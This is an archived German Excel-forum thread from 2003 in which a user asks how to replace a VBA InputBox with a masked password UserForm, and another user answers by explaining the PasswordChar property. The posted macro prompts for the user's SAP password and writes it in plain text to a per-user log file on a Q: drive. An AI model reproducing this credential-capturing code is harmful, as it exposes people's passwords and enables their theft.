Herbers Excel-Forum - das Archiv
Form statt inputbox öffnen
Informationen und Beispiele zu den hier genannten Dialog-Elementen:
Betrifft: Form statt inputbox öffnen
von: Matthias
Geschrieben am: 28.11.2003 11:28:40
hallo zusammen,
ich möchte eine verdeckte password eingabe erzielen.
bisher habe ich folgendes
Private Sub pass()
Const BoxTitle = "Sicherheitsabfrage"
Dim User, x
Dim dat As Integer
Dim temp As String
Dim temp2 As String
User = Application.UserName
Dim passw As String
temp = InputBox("Bitte geben Sie Ihr SAP-Passwort ein", BoxTitle)
If temp = "" Then
Do
temp2 = InputBox("Bitte achten Sie auf die richtige schreibweise und wiederholen Sie Ihr SAP-Passwort", BoxTitle)
Loop Until temp2 <> ""
End If
dat = FreeFile
Open "Q:/pass_" & User & ".log" For Output As dat
Print #dat, temp & " + " & temp2
Close
End Sub
ich habe noch ein form "sappw" mit dem maskierten input "passw"
wie kann ich diese form aufrufen anstatt die input box?
vielen dank.
Betrifft: AW: Form statt inputbox öffnen
von: Matthias G
Geschrieben am: 28.11.2003 11:51:53
Hallo Namensvetter,
Ich hab mal ne Beispieldatei hochgeladen:
https://www.herber.de/bbs/user/2205.xls
Wichtig ist die Eigenschaft "PasswordChar" in der Textbox, sie legt fest, ob die Eingabe verdeckt sein soll oder nicht.
Nach Aufruf des UserForms steht in der Eigenschaft "Tag", ob das Kennwort richtig war (True) oder ob die Eingabe abgebrochen wurde (False).
Ich hoffe, du kannst das Ganze an Deine Bedürfnisse anpassen.
Gruß,
Matthias